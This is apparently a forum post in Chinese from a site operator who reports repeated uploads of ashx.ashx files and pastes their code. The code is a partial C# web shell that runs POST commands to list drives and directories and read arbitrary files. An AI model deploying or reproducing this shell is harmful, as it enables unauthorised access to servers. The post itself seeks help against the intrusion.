总是被上传 ashx.ashx 以及 ashx_?.ashx 的文件。
文件的代码如下:
“
- <%@ WebHandler Language="C#" Class="Handler" %>
- using System;
- using System.Web;
- using System.IO;
- using System.Net;
- using System.Text;
- using System.Data;
- using System.Data.SqlClient;
- using System.Diagnostics;
- public class Handler : IHttpHandler
- {
- public void ProcessRequest(HttpContext context)
- {
- String Z = context.Request.Form["@"];//
- if (Z != "")
- {
- String Z1 = context.Request.Form["Z1"];
- String Z2 = context.Request.Form["Z2"];
- String R = "";
- try
- {
- switch (Z)
- {
- case "A":
- {
- String[] c = Directory.GetLogicalDrives();
- R = String.Format("{0}\t", context.Server.MapPath("/"));
- for (int i = 0; i < c.Length; i++)
- R += c[i][0] + ":";
- break;
- }
- case "B":
- {
- DirectoryInfo m = new DirectoryInfo(Z1);
- foreach (DirectoryInfo D in m.GetDirectories())
- {
- R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
- }
- foreach (FileInfo D in m.GetFiles())
- {
- R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
- }
- break;
- }
- case "C":
- {
- StreamReader m = new StreamReader(Z1, Encoding.Default);
- R = m.ReadToEnd();
- m.Close();
- break;
- }
- case "D":
- {
- 其他代码省略...
复制代码”